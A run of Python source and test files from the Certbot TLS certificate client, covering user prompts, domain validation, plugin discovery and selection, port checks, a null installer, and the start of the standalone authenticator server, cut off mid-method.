            `tags` - list of selected tags
        :rtype: tuple

        """
        if default is None:
            self._interaction_fail(message, cli_flag, "? ".join(tags))
        else:
            return OK, default

    def directory_select(self, message, default=None, cli_flag=None):
        """Simulate prompting the user for a directory.

        This function returns default if it is not ``None``, otherwise,
        an exception is raised explaining the problem. If cli_flag is
        not ``None``, the error message will include the flag that can
        be used to set this value with the CLI.

        :param str message: prompt to give the user
        :param default: default value to return (if one exists)
        :param str cli_flag: option used to set this value with the CLI

        :returns: tuple of the form (`code`, `string`) where
            `code` - int display exit code
            `string` - input entered by the user

        """
        return self.input(message, default, cli_flag)


def separate_list_input(input_):
    """Separate a comma or space separated list.

    :param str input_: input from the user

    :returns: strings
    :rtype: list

    """
    no_commas = input_.replace(",", " ")
    # Each string is naturally unicode, this causes problems with M2Crypto SANs
    # TODO: check if above is still true when M2Crypto is gone ^
    return [str(string) for string in no_commas.split()]


def _parens_around_char(label):
    """Place parens around first character of label.

    :param str label: Must contain at least one character

    """
    return "({first}){rest}".format(first=label[0], rest=label[1:])






"""A dummy module with no effect for use on systems without readline."""


def get_completer():
    """An empty implementation of readline.get_completer."""


def get_completer_delims():
    """An empty implementation of readline.get_completer_delims."""


def parse_and_bind(unused_command):
    """An empty implementation of readline.parse_and_bind."""


def set_completer(unused_function=None):
    """An empty implementation of readline.set_completer."""


def set_completer_delims(unused_delims):
    """An empty implementation of readline.set_completer_delims."""






"""Contains UI methods for LE user operations."""
import logging
import os

import zope.component

from certbot import errors
from certbot import interfaces
from certbot import util
from certbot.display import util as display_util

logger = logging.getLogger(__name__)

# Define a helper function to avoid verbose code
z_util = zope.component.getUtility


def get_email(invalid=False, optional=True):
    """Prompt for valid email address.

    :param bool invalid: True if an invalid address was provided by the user
    :param bool optional: True if the user can use
        --register-unsafely-without-email to avoid providing an e-mail

    :returns: e-mail address
    :rtype: str

    :raises errors.Error: if the user cancels

    """
    invalid_prefix = "There seem to be problems with that address. "
    msg = "Enter email address (used for urgent notices and lost key recovery)"
    unsafe_suggestion = ("\n\nIf you really want to skip this, you can run "
                         "the client with --register-unsafely-without-email "
                         "but make sure you then backup your account key from "
                         "/etc/letsencrypt/accounts\n\n")
    if optional:
        if invalid:
            msg += unsafe_suggestion
        else:
            suggest_unsafe = True
    else:
        suggest_unsafe = False

    while True:
        try:
            code, email = z_util(interfaces.IDisplay).input(
                invalid_prefix + msg if invalid else msg)
        except errors.MissingCommandlineFlag:
            msg = ("You should register before running non-interactively, "
                   "or provide --agree-tos and --email <email_address> flags.")
            raise errors.MissingCommandlineFlag(msg)

        if code != display_util.OK:
            if optional:
                raise errors.Error(
                    "An e-mail address or "
                    "--register-unsafely-without-email must be provided.")
            else:
                raise errors.Error("An e-mail address must be provided.")
        elif util.safe_email(email):
            return email
        elif suggest_unsafe:
            msg += unsafe_suggestion
            suggest_unsafe = False  # add this message at most once

        invalid = bool(email)


def choose_account(accounts):
    """Choose an account.

    :param list accounts: Containing at least one
        :class:`~certbot.account.Account`

    """
    # Note this will get more complicated once we start recording authorizations
    labels = [acc.slug for acc in accounts]

    code, index = z_util(interfaces.IDisplay).menu(
        "Please choose an account", labels)
    if code == display_util.OK:
        return accounts[index]
    else:
        return None


def choose_names(installer):
    """Display screen to select domains to validate.

    :param installer: An installer object
    :type installer: :class:`certbot.interfaces.IInstaller`

    :returns: List of selected names
    :rtype: `list` of `str`

    """
    if installer is None:
        logger.debug("No installer, picking names manually")
        return _choose_names_manually()

    domains = list(installer.get_all_names())
    names = get_valid_domains(domains)

    if not names:
        manual = z_util(interfaces.IDisplay).yesno(
            "No names were found in your configuration files.{0}You should "
            "specify ServerNames in your config files in order to allow for "
            "accurate installation of your certificate.{0}"
            "If you do use the default vhost, you may specify the name "
            "manually. Would you like to continue?{0}".format(os.linesep),
            default=True)

        if manual:
            return _choose_names_manually()
        else:
            return []

    code, names = _filter_names(names)
    if code == display_util.OK and names:
        return names
    else:
        return []


def get_valid_domains(domains):
    """Helper method for choose_names that implements basic checks
     on domain names

    :param list domains: Domain names to validate
    :return: List of valid domains
    :rtype: list
    """
    valid_domains = []
    for domain in domains:
        try:
            valid_domains.append(util.enforce_domain_sanity(domain))
        except errors.ConfigurationError:
            continue
    return valid_domains


def _filter_names(names):
    """Determine which names the user would like to select from a list.

    :param list names: domain names

    :returns: tuple of the form (`code`, `names`) where
        `code` - str display exit code
        `names` - list of names selected
    :rtype: tuple

    """
    code, names = z_util(interfaces.IDisplay).checklist(
        "Which names would you like to activate HTTPS for?",
        tags=names, cli_flag="--domains")
    return code, [str(s) for s in names]


def _choose_names_manually():
    """Manually input names for those without an installer."""

    code, input_ = z_util(interfaces.IDisplay).input(
        "Please enter in your domain name(s) (comma and/or space separated) ",
        cli_flag="--domains")

    if code == display_util.OK:
        invalid_domains = dict()
        retry_message = ""
        try:
            domain_list = display_util.separate_list_input(input_)
        except UnicodeEncodeError:
            domain_list = []
            retry_message = (
                "Internationalized domain names are not presently "
                "supported.{0}{0}Would you like to re-enter the "
                "names?{0}").format(os.linesep)

        for i, domain in enumerate(domain_list):
            try:
                domain_list[i] = util.enforce_domain_sanity(domain)
            except errors.ConfigurationError as e:
                try:  # Python 2
                    # pylint: disable=no-member
                    err_msg = e.message.encode('utf-8')
                except AttributeError:
                    err_msg = str(e)
                invalid_domains[domain] = err_msg

        if len(invalid_domains):
            retry_message = (
                "One or more of the entered domain names was not valid:"
                "{0}{0}").format(os.linesep)
            for domain in invalid_domains:
                retry_message = retry_message + "{1}: {2}{0}".format(
                    os.linesep, domain, invalid_domains[domain])
            retry_message = retry_message + (
                "{0}Would you like to re-enter the names?{0}").format(
                    os.linesep)

        if retry_message:
            # We had error in input
            retry = z_util(interfaces.IDisplay).yesno(retry_message)
            if retry:
                return _choose_names_manually()
        else:
            return domain_list
    return []


def success_installation(domains):
    """Display a box confirming the installation of HTTPS.

    .. todo:: This should be centered on the screen

    :param list domains: domain names which were enabled

    """
    z_util(interfaces.IDisplay).notification(
        "Congratulations! You have successfully enabled {0}{1}{1}"
        "You should test your configuration at:{1}{2}".format(
            _gen_https_names(domains),
            os.linesep,
            os.linesep.join(_gen_ssl_lab_urls(domains))),
        height=(10 + len(domains)),
        pause=False)


def success_renewal(domains, action):
    """Display a box confirming the renewal of an existing certificate.

    .. todo:: This should be centered on the screen

    :param list domains: domain names which were renewed
    :param str action: can be "reinstall" or "renew"

    """
    z_util(interfaces.IDisplay).notification(
        "Your existing certificate has been successfully {3}ed, and the "
        "new certificate has been installed.{1}{1}"
        "The new certificate covers the following domains: {0}{1}{1}"
        "You should test your configuration at:{1}{2}".format(
            _gen_https_names(domains),
            os.linesep,
            os.linesep.join(_gen_ssl_lab_urls(domains)),
            action),
        height=(14 + len(domains)),
        pause=False)


def _gen_ssl_lab_urls(domains):
    """Returns a list of urls.

    :param list domains: Each domain is a 'str'

    """
    return ["https://www.ssllabs.com/ssltest/analyze.html?d=%s" % dom for dom in domains]


def _gen_https_names(domains):
    """Returns a string of the https domains.

    Domains are formatted nicely with https:// prepended to each.

    :param list domains: Each domain is a 'str'

    """
    if len(domains) == 1:
        return "https://{0}".format(domains[0])
    elif len(domains) == 2:
        return "https://{dom[0]} and https://{dom[1]}".format(dom=domains)
    elif len(domains) > 2:
        return "{0}{1}{2}".format(
            ", ".join("https://%s" % dom for dom in domains[:-1]),
            ", and https://",
            domains[-1])

    return ""






"""Certbot display utilities."""






"""Certbot Enhancement Display"""
import logging

import zope.component

from certbot import errors
from certbot import interfaces
from certbot.display import util as display_util


logger = logging.getLogger(__name__)

# Define a helper function to avoid verbose code
util = zope.component.getUtility


def ask(enhancement):
    """Display the enhancement to the user.

    :param str enhancement: One of the
        :class:`certbot.CONFIG.ENHANCEMENTS` enhancements

    :returns: True if feature is desired, False otherwise
    :rtype: bool

    :raises .errors.Error: if the enhancement provided is not supported

    """
    try:
        # Call the appropriate function based on the enhancement
        return DISPATCH[enhancement]()
    except KeyError:
        logger.error("Unsupported enhancement given to ask(): %s", enhancement)
        raise errors.Error("Unsupported Enhancement")


def redirect_by_default():
    """Determines whether the user would like to redirect to HTTPS.

    :returns: True if redirect is desired, False otherwise
    :rtype: bool

    """
    choices = [
        ("Easy", "Allow both HTTP and HTTPS access to these sites"),
        ("Secure", "Make all requests redirect to secure HTTPS access"),
    ]

    code, selection = util(interfaces.IDisplay).menu(
        "Please choose whether HTTPS access is required or optional.",
        choices, default=0, cli_flag="--redirect / --no-redirect")

    if code != display_util.OK:
        return False

    return selection == 1


DISPATCH = {
    "redirect": redirect_by_default
}






"""Plugin utilities."""
import logging
import os
import socket

import zope.component

from certbot import interfaces
from certbot import util

try:
    import psutil
    USE_PSUTIL = True
except ImportError:
    USE_PSUTIL = False

logger = logging.getLogger(__name__)

RENEWER_EXTRA_MSG = (
    " For automated renewal, you may want to use a script that stops"
    " and starts your webserver. You can find an example at"
    " https://certbot.eff.org/docs/using.html#renewal ."
    " Alternatively you can use the webroot plugin to renew without"
    " needing to stop and start your webserver.")


def path_surgery(restart_cmd):
    """Attempt to perform PATH surgery to find restart_cmd

    Mitigates https://github.com/certbot/certbot/issues/1833

    :param str restart_cmd: the command that is being searched for in the PATH

    :returns: True if the operation succeeded, False otherwise
    """
    dirs = ("/usr/sbin", "/usr/local/bin", "/usr/local/sbin")
    path = os.environ["PATH"]
    added = []
    for d in dirs:
        if d not in path:
            path += os.pathsep + d
            added.append(d)

    if any(added):
        logger.debug("Can't find %s, attempting PATH mitigation by adding %s",
                     restart_cmd, os.pathsep.join(added))
        os.environ["PATH"] = path

    if util.exe_exists(restart_cmd):
        return True
    else:
        expanded = " expanded" if any(added) else ""
        logger.warning("Failed to find %s in%s PATH: %s", restart_cmd,
                       expanded, path)
        return False


def already_listening(port, renewer=False):
    """Check if a process is already listening on the port.

    If so, also tell the user via a display notification.

    .. warning::
        On some operating systems, this function can only usefully be
        run as root.

    :param int port: The TCP port in question.
    :returns: True or False.

    """

    if USE_PSUTIL:
        return already_listening_psutil(port, renewer=renewer)
    else:
        logger.debug("Psutil not found, using simple socket check.")
        return already_listening_socket(port, renewer=renewer)


def already_listening_socket(port, renewer=False):
    """Simple socket based check to find out if port is already in use

    :param int port: The TCP port in question.
    :returns: True or False
    """

    try:
        testsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        try:
            testsocket.bind(("", port))
        except socket.error:
            display = zope.component.getUtility(interfaces.IDisplay)
            extra = ""
            if renewer:
                extra = RENEWER_EXTRA_MSG
            display.notification(
                "Port {0} is already in use by another process. This will "
                "prevent us from binding to that port. Please stop the "
                "process that is populating the port in question and try "
                "again. {1}".format(port, extra), height=13)
            return True
        finally:
            testsocket.close()
    except socket.error:
        pass
    return False


def already_listening_psutil(port, renewer=False):
    """Psutil variant of the open port check

    :param int port: The TCP port in question.
    :returns: True or False.

    """
    try:
        net_connections = psutil.net_connections()
    except psutil.AccessDenied as error:
        logger.info("Access denied when trying to list network "
                    "connections: %s. Are you root?", error)
        # this function is just a pre-check that often causes false
        # positives and problems in testing (c.f. #680 on Mac, #255
        # generally); we will fail later in bind() anyway
        return False

    listeners = [conn.pid for conn in net_connections
                 if conn.status == 'LISTEN' and
                 conn.type == socket.SOCK_STREAM and
                 conn.laddr[1] == port]
    try:
        if listeners and listeners[0] is not None:
            # conn.pid may be None if the current process doesn't have
            # permission to identify the listening process!  Additionally,
            # listeners may have more than one element if separate
            # sockets have bound the same port on separate interfaces.
            # We currently only have UI to notify the user about one
            # of them at a time.
            pid = listeners[0]
            name = psutil.Process(pid).name()
            display = zope.component.getUtility(interfaces.IDisplay)
            extra = ""
            if renewer:
                extra = RENEWER_EXTRA_MSG
            display.notification(
                "The program {0} (process ID {1}) is already listening "
                "on TCP port {2}. This will prevent us from binding to "
                "that port. Please stop the {0} program temporarily "
                "and then try again.{3}".format(name, pid, port, extra),
                height=13)
            return True
    except (psutil.NoSuchProcess, psutil.AccessDenied):
        # Perhaps the result of a race where the process could have
        # exited or relinquished the port (NoSuchProcess), or the result
        # of an OS policy where we're not allowed to look up the process
        # name (AccessDenied).
        pass
    return False






"""Utilities for plugins discovery and selection."""
import collections
import itertools
import logging
import pkg_resources
import six

import zope.interface
import zope.interface.verify

from certbot import constants
from certbot import errors
from certbot import interfaces


logger = logging.getLogger(__name__)


class PluginEntryPoint(object):
    """Plugin entry point."""

    PREFIX_FREE_DISTRIBUTIONS = [
        "certbot",
        "certbot-apache",
        "certbot-nginx",
    ]
    """Distributions for which prefix will be omitted."""

    # this object is mutable, don't allow it to be hashed!
    __hash__ = None

    def __init__(self, entry_point):
        self.name = self.entry_point_to_plugin_name(entry_point)
        self.plugin_cls = entry_point.load()
        self.entry_point = entry_point
        self._initialized = None
        self._prepared = None

    @classmethod
    def entry_point_to_plugin_name(cls, entry_point):
        """Unique plugin name for an ``entry_point``"""
        if entry_point.dist.key in cls.PREFIX_FREE_DISTRIBUTIONS:
            return entry_point.name
        return entry_point.dist.key + ":" + entry_point.name

    @property
    def description(self):
        """Description of the plugin."""
        return self.plugin_cls.description

    @property
    def description_with_name(self):
        """Description with name. Handy for UI."""
        return "{0} ({1})".format(self.description, self.name)

    @property
    def hidden(self):
        """Should this plugin be hidden from UI?"""
        return getattr(self.plugin_cls, "hidden", False)

    def ifaces(self, *ifaces_groups):
        """Does plugin implements specified interface groups?"""
        return not ifaces_groups or any(
            all(iface.implementedBy(self.plugin_cls)
                for iface in ifaces)
            for ifaces in ifaces_groups)

    @property
    def initialized(self):
        """Has the plugin been initialized already?"""
        return self._initialized is not None

    def init(self, config=None):
        """Memoized plugin inititialization."""
        if not self.initialized:
            self.entry_point.require()  # fetch extras!
            self._initialized = self.plugin_cls(config, self.name)
        return self._initialized

    def verify(self, ifaces):
        """Verify that the plugin conforms to the specified interfaces."""
        assert self.initialized
        for iface in ifaces:  # zope.interface.providedBy(plugin)
            try:
                zope.interface.verify.verifyObject(iface, self.init())
            except zope.interface.exceptions.BrokenImplementation as error:
                if iface.implementedBy(self.plugin_cls):
                    logger.debug(
                        "%s implements %s but object does not verify: %s",
                        self.plugin_cls, iface.__name__, error, exc_info=True)
                return False
        return True

    @property
    def prepared(self):
        """Has the plugin been prepared already?"""
        if not self.initialized:
            logger.debug(".prepared called on uninitialized %r", self)
        return self._prepared is not None

    def prepare(self):
        """Memoized plugin preparation."""
        assert self.initialized
        if self._prepared is None:
            try:
                self._initialized.prepare()
            except errors.MisconfigurationError as error:
                logger.debug("Misconfigured %r: %s", self, error, exc_info=True)
                self._prepared = error
            except errors.NoInstallationError as error:
                logger.debug(
                    "No installation (%r): %s", self, error, exc_info=True)
                self._prepared = error
            except errors.PluginError as error:
                logger.debug("Other error:(%r): %s", self, error, exc_info=True)
                self._prepared = error
            else:
                self._prepared = True
        return self._prepared

    @property
    def misconfigured(self):
        """Is plugin misconfigured?"""
        return isinstance(self._prepared, errors.MisconfigurationError)

    @property
    def problem(self):
        """Return the Exception raised during plugin setup, or None if all is well"""
        if isinstance(self._prepared, Exception):
            return self._prepared
        return None

    @property
    def available(self):
        """Is plugin available, i.e. prepared or misconfigured?"""
        return self._prepared is True or self.misconfigured

    def __repr__(self):
        return "PluginEntryPoint#{0}".format(self.name)

    def __str__(self):
        lines = [
            "* {0}".format(self.name),
            "Description: {0}".format(self.plugin_cls.description),
            "Interfaces: {0}".format(", ".join(
                iface.__name__ for iface in zope.interface.implementedBy(
                    self.plugin_cls))),
            "Entry point: {0}".format(self.entry_point),
        ]

        if self.initialized:
            lines.append("Initialized: {0}".format(self.init()))
            if self.prepared:
                lines.append("Prep: {0}".format(self.prepare()))

        return "\n".join(lines)


class PluginsRegistry(collections.Mapping):
    """Plugins registry."""

    def __init__(self, plugins):
        self._plugins = plugins

    @classmethod
    def find_all(cls):
        """Find plugins using setuptools entry points."""
        plugins = {}
        entry_points = itertools.chain(
            pkg_resources.iter_entry_points(
                constants.SETUPTOOLS_PLUGINS_ENTRY_POINT),
            pkg_resources.iter_entry_points(
                constants.OLD_SETUPTOOLS_PLUGINS_ENTRY_POINT),)
        for entry_point in entry_points:
            plugin_ep = PluginEntryPoint(entry_point)
            assert plugin_ep.name not in plugins, (
                "PREFIX_FREE_DISTRIBUTIONS messed up")
            # providedBy | pylint: disable=no-member
            if interfaces.IPluginFactory.providedBy(plugin_ep.plugin_cls):
                plugins[plugin_ep.name] = plugin_ep
            else:  # pragma: no cover
                logger.warning(
                    "%r does not provide IPluginFactory, skipping", plugin_ep)
        return cls(plugins)

    def __getitem__(self, name):
        return self._plugins[name]

    def __iter__(self):
        return iter(self._plugins)

    def __len__(self):
        return len(self._plugins)

    def init(self, config):
        """Initialize all plugins in the registry."""
        return [plugin_ep.init(config) for plugin_ep
                in six.itervalues(self._plugins)]

    def filter(self, pred):
        """Filter plugins based on predicate."""
        return type(self)(dict((name, plugin_ep) for name, plugin_ep
                               in six.iteritems(self._plugins) if pred(plugin_ep)))

    def visible(self):
        """Filter plugins based on visibility."""
        return self.filter(lambda plugin_ep: not plugin_ep.hidden)

    def ifaces(self, *ifaces_groups):
        """Filter plugins based on interfaces."""
        # pylint: disable=star-args
        return self.filter(lambda p_ep: p_ep.ifaces(*ifaces_groups))

    def verify(self, ifaces):
        """Filter plugins based on verification."""
        return self.filter(lambda p_ep: p_ep.verify(ifaces))

    def prepare(self):
        """Prepare all plugins in the registry."""
        return [plugin_ep.prepare() for plugin_ep in six.itervalues(self._plugins)]

    def available(self):
        """Filter plugins based on availability."""
        return self.filter(lambda p_ep: p_ep.available)
        # succefully prepared + misconfigured

    def find_init(self, plugin):
        """Find an initialized plugin.

        This is particularly useful for finding a name for the plugin
        (although `.IPluginFactory.__call__` takes ``name`` as one of
        the arguments, ``IPlugin.name`` is not part of the interface)::

          # plugin is an instance providing IPlugin, initialized
          # somewhere else in the code
          plugin_registry.find_init(plugin).name

        Returns ``None`` if ``plugin`` is not found in the registry.

        """
        # use list instead of set because PluginEntryPoint is not hashable
        candidates = [plugin_ep for plugin_ep in six.itervalues(self._plugins)
                      if plugin_ep.initialized and plugin_ep.init() is plugin]
        assert len(candidates) <= 1
        if candidates:
            return candidates[0]
        else:
            return None

    def __repr__(self):
        return "{0}({1})".format(
            self.__class__.__name__, ','.join(
                repr(p_ep) for p_ep in six.itervalues(self._plugins)))

    def __str__(self):
        if not self._plugins:
            return "No plugins"
        return "\n\n".join(str(p_ep) for p_ep in six.itervalues(self._plugins))






"""Null plugin."""
import logging

import zope.component
import zope.interface

from certbot import interfaces
from certbot.plugins import common


logger = logging.getLogger(__name__)


@zope.interface.implementer(interfaces.IInstaller)
@zope.interface.provider(interfaces.IPluginFactory)
class Installer(common.Plugin):
    """Null installer."""

    description = "Null Installer"
    hidden = True

    # pylint: disable=missing-docstring,no-self-use

    def prepare(self):
        pass  # pragma: no cover

    def more_info(self):
        return "Installer that doesn't do anything (for testing)."

    def get_all_names(self):
        return []

    def deploy_cert(self, domain, cert_path, key_path,
                    chain_path=None, fullchain_path=None):
        pass  # pragma: no cover

    def enhance(self, domain, enhancement, options=None):
        pass  # pragma: no cover

    def supported_enhancements(self):
        return []

    def get_all_certs_keys(self):
        return []

    def save(self, title=None, temporary=False):
        pass  # pragma: no cover

    def rollback_checkpoints(self, rollback=1):
        pass  # pragma: no cover

    def recovery_routine(self):
        pass  # pragma: no cover

    def view_config_changes(self):
        pass  # pragma: no cover

    def config_test(self):
        pass  # pragma: no cover

    def restart(self):
        pass  # pragma: no cover






"""Tests for certbot.plugins.manual."""
import signal
import unittest

import mock

from acme import challenges
from acme import jose

from certbot import achallenges
from certbot import errors

from certbot.tests import acme_util
from certbot.tests import test_util


KEY = jose.JWKRSA.load(test_util.load_vector("rsa512_key.pem"))


class AuthenticatorTest(unittest.TestCase):
    """Tests for certbot.plugins.manual.Authenticator."""

    def setUp(self):
        from certbot.plugins.manual import Authenticator
        self.config = mock.MagicMock(
            http01_port=8080, manual_test_mode=False,
            manual_public_ip_logging_ok=False, noninteractive_mode=True)
        self.auth = Authenticator(config=self.config, name="manual")
        self.achalls = [achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.HTTP01_P, domain="foo.com", account_key=KEY)]

        config_test_mode = mock.MagicMock(
            http01_port=8080, manual_test_mode=True, noninteractive_mode=True)
        self.auth_test_mode = Authenticator(
            config=config_test_mode, name="manual")

    def test_prepare(self):
        self.assertRaises(errors.PluginError, self.auth.prepare)
        self.auth_test_mode.prepare()  # error not raised

    def test_more_info(self):
        self.assertTrue(isinstance(self.auth.more_info(), str))

    def test_get_chall_pref(self):
        self.assertTrue(all(issubclass(pref, challenges.Challenge)
                            for pref in self.auth.get_chall_pref("foo.com")))

    def test_perform_empty(self):
        self.assertEqual([], self.auth.perform([]))

    @mock.patch("certbot.plugins.manual.zope.component.getUtility")
    @mock.patch("certbot.plugins.manual.sys.stdout")
    @mock.patch("acme.challenges.HTTP01Response.simple_verify")
    @mock.patch("six.moves.input")
    def test_perform(self, mock_raw_input, mock_verify, mock_stdout, mock_interaction):
        mock_verify.return_value = True
        mock_interaction().yesno.return_value = True

        resp = self.achalls[0].response(KEY)
        self.assertEqual([resp], self.auth.perform(self.achalls))
        self.assertEqual(1, mock_raw_input.call_count)
        mock_verify.assert_called_with(
            self.achalls[0].challb.chall, "foo.com", KEY.public_key(), 8080)

        message = mock_stdout.write.mock_calls[0][1][0]
        self.assertTrue(self.achalls[0].chall.encode("token") in message)

        mock_verify.return_value = False
        with mock.patch("certbot.plugins.manual.logger") as mock_logger:
            self.auth.perform(self.achalls)
            mock_logger.warning.assert_called_once_with(mock.ANY)

    @mock.patch("certbot.plugins.manual.zope.component.getUtility")
    @mock.patch("certbot.plugins.manual.Authenticator._notify_and_wait")
    def test_disagree_with_ip_logging(self, mock_notify, mock_interaction):
        mock_interaction().yesno.return_value = False
        mock_notify.side_effect = errors.Error("Exception not raised, \
            continued execution even after disagreeing with IP logging")

        self.assertRaises(errors.PluginError, self.auth.perform, self.achalls)

    @mock.patch("certbot.plugins.manual.subprocess.Popen", autospec=True)
    def test_perform_test_command_oserror(self, mock_popen):
        mock_popen.side_effect = OSError
        self.assertEqual([False], self.auth_test_mode.perform(self.achalls))

    @mock.patch("certbot.plugins.manual.socket.socket")
    @mock.patch("certbot.plugins.manual.time.sleep", autospec=True)
    @mock.patch("certbot.plugins.manual.subprocess.Popen", autospec=True)
    def test_perform_test_command_run_failure(
            self, mock_popen, unused_mock_sleep, unused_mock_socket):
        mock_popen.poll.return_value = 10
        mock_popen.return_value.pid = 1234
        self.assertRaises(
            errors.Error, self.auth_test_mode.perform, self.achalls)

    def test_cleanup_test_mode_already_terminated(self):
        # pylint: disable=protected-access
        self.auth_test_mode._httpd = httpd = mock.Mock()
        httpd.poll.return_value = 0
        self.auth_test_mode.cleanup(self.achalls)

    @mock.patch("certbot.plugins.manual.os.killpg", autospec=True)
    def test_cleanup_test_mode_kills_still_running(self, mock_killpg):
        # pylint: disable=protected-access
        self.auth_test_mode._httpd = httpd = mock.Mock(pid=1234)
        httpd.poll.return_value = None
        self.auth_test_mode.cleanup(self.achalls)
        mock_killpg.assert_called_once_with(1234, signal.SIGTERM)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.plugins.null."""
import unittest

import mock


class InstallerTest(unittest.TestCase):
    """Tests for certbot.plugins.null.Installer."""

    def setUp(self):
        from certbot.plugins.null import Installer
        self.installer = Installer(config=mock.MagicMock(), name="null")

    def test_it(self):
        self.assertTrue(isinstance(self.installer.more_info(), str))
        self.assertEqual([], self.installer.get_all_names())
        self.assertEqual([], self.installer.supported_enhancements())
        self.assertEqual([], self.installer.get_all_certs_keys())


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for letsenecrypt.plugins.selection"""
import sys
import unittest

import mock
import zope.component

from certbot.display import util as display_util
from certbot import interfaces


class ConveniencePickPluginTest(unittest.TestCase):
    """Tests for certbot.plugins.selection.pick_*."""

    def _test(self, fun, ifaces):
        config = mock.Mock()
        default = mock.Mock()
        plugins = mock.Mock()

        with mock.patch("certbot.plugins.selection.pick_plugin") as mock_p:
            mock_p.return_value = "foo"
            self.assertEqual("foo", fun(config, default, plugins, "Question?"))
        mock_p.assert_called_once_with(
            config, default, plugins, "Question?", ifaces)

    def test_authenticator(self):
        from certbot.plugins.selection import pick_authenticator
        self._test(pick_authenticator, (interfaces.IAuthenticator,))

    def test_installer(self):
        from certbot.plugins.selection import pick_installer
        self._test(pick_installer, (interfaces.IInstaller,))

    def test_configurator(self):
        from certbot.plugins.selection import pick_configurator
        self._test(pick_configurator,
            (interfaces.IAuthenticator, interfaces.IInstaller))


class PickPluginTest(unittest.TestCase):
    """Tests for certbot.plugins.selection.pick_plugin."""

    def setUp(self):
        self.config = mock.Mock(noninteractive_mode=False)
        self.default = None
        self.reg = mock.MagicMock()
        self.question = "Question?"
        self.ifaces = []

    def _call(self):
        from certbot.plugins.selection import pick_plugin
        return pick_plugin(self.config, self.default, self.reg,
                           self.question, self.ifaces)

    def test_default_provided(self):
        self.default = "foo"
        self._call()
        self.assertEqual(1, self.reg.filter.call_count)

    def test_no_default(self):
        self._call()
        self.assertEqual(1, self.reg.visible().ifaces.call_count)

    def test_no_candidate(self):
        self.assertTrue(self._call() is None)

    def test_single(self):
        plugin_ep = mock.MagicMock()
        plugin_ep.init.return_value = "foo"
        plugin_ep.misconfigured = False

        self.reg.visible().ifaces().verify().available.return_value = {
            "bar": plugin_ep}
        self.assertEqual("foo", self._call())

    def test_single_misconfigured(self):
        plugin_ep = mock.MagicMock()
        plugin_ep.init.return_value = "foo"
        plugin_ep.misconfigured = True

        self.reg.visible().ifaces().verify().available.return_value = {
            "bar": plugin_ep}
        self.assertTrue(self._call() is None)

    def test_multiple(self):
        plugin_ep = mock.MagicMock()
        plugin_ep.init.return_value = "foo"
        self.reg.visible().ifaces().verify().available.return_value = {
            "bar": plugin_ep,
            "baz": plugin_ep,
        }
        with mock.patch("certbot.plugins.selection.choose_plugin") as mock_choose:
            mock_choose.return_value = plugin_ep
            self.assertEqual("foo", self._call())
        mock_choose.assert_called_once_with(
            [plugin_ep, plugin_ep], self.question)

    def test_choose_plugin_none(self):
        self.reg.visible().ifaces().verify().available.return_value = {
            "bar": None,
            "baz": None,
        }

        with mock.patch("certbot.plugins.selection.choose_plugin") as mock_choose:
            mock_choose.return_value = None
            self.assertTrue(self._call() is None)


class ChoosePluginTest(unittest.TestCase):
    """Tests for certbot.plugins.selection.choose_plugin."""

    def setUp(self):
        zope.component.provideUtility(display_util.FileDisplay(sys.stdout))
        self.mock_apache = mock.Mock(
            description_with_name="a", misconfigured=True)
        self.mock_stand = mock.Mock(
            description_with_name="s", misconfigured=False)
        self.mock_stand.init().more_info.return_value = "standalone"
        self.plugins = [
            self.mock_apache,
            self.mock_stand,
        ]

    def _call(self):
        from certbot.plugins.selection import choose_plugin
        return choose_plugin(self.plugins, "Question?")

    @mock.patch("certbot.plugins.selection.z_util")
    def test_selection(self, mock_util):
        mock_util().menu.side_effect = [(display_util.OK, 0),
                                        (display_util.OK, 1)]
        self.assertEqual(self.mock_stand, self._call())
        self.assertEqual(mock_util().notification.call_count, 1)

    @mock.patch("certbot.plugins.selection.z_util")
    def test_more_info(self, mock_util):
        mock_util().menu.side_effect = [
            (display_util.HELP, 0),
            (display_util.HELP, 1),
            (display_util.OK, 1),
        ]

        self.assertEqual(self.mock_stand, self._call())
        self.assertEqual(mock_util().notification.call_count, 2)

    @mock.patch("certbot.plugins.selection.z_util")
    def test_no_choice(self, mock_util):
        mock_util().menu.return_value = (display_util.CANCEL, 0)
        self.assertTrue(self._call() is None)






"""Standalone Authenticator."""
import argparse
import collections
import logging
import socket
import threading

import OpenSSL
import six
import zope.interface

from acme import challenges
from acme import standalone as acme_standalone

from certbot import errors
from certbot import interfaces

from certbot.plugins import common
from certbot.plugins import util

logger = logging.getLogger(__name__)


class ServerManager(object):
    """Standalone servers manager.

    Manager for `ACMEServer` and `ACMETLSServer` instances.

    `certs` and `http_01_resources` correspond to
    `acme.crypto_util.SSLSocket.certs` and
    `acme.crypto_util.SSLSocket.http_01_resources` respectively. All
    created servers share the same certificates and resources, so if
    you're running both TLS and non-TLS instances, HTTP01 handlers
    will serve the same URLs!

    """
    _Instance = collections.namedtuple("_Instance", "server thread")

    def __init__(self, certs, http_01_resources):
        self._instances = {}
        self.certs = certs
        self.http_01_resources = http_01_resources

    def run(self, port, challenge_type):
        """Run ACME server on specified ``port``.

        This method is idempotent, i.e. all calls with the same pair of
        ``(port, challenge_type)`` will reuse the same server.

        :param int port: Port to run the server on.
        :param challenge_type: Subclass of `acme.challenges.Challenge`,
            either `acme.challenge.HTTP01` or `acme.challenges.TLSSNI01`.

        :returns: Server instance.
        :rtype: ACMEServerMixin

        """
        assert challenge_type in (challenges.TLSSNI01, challenges.HTTP01)
        if port in self._instances:
            return self._instances[port].server

        address = ("", port)
        try:
            if challenge_type is challenges.TLSSNI01:
                server = acme_standalone.TLSSNI01Server(address, self.certs)
            else:  # challenges.HTTP01
                server = acme_standalone.HTTP01Server(
                    address, self.http_01_resources)
        except socket.error as error:
            raise errors.StandaloneBindError(error, port)

        thread = threading.Thread(
            # pylint: disable=no-member
            target=server.serve_forever)
        thread.start()

        # if port == 0, then random free port on OS is taken
        # pylint: disable=no-member
        real_port = server.socket.getsockname()[1]
        self._instances[real_port] = self._Instance(server, thread)
        return server

    def stop(self, port):
        """Stop ACME server running on the specified ``port``.

        :param int port:

        """
        instance = self._instances[port]
        logger.debug("Stopping server at %s:%d...",
                     *instance.server.socket.getsockname()[:2])
        instance.server.shutdown()
        # Not calling server_close causes problems when renewing multiple
        # certs with `certbot renew` using TLSSNI01 and PyOpenSSL 0.13
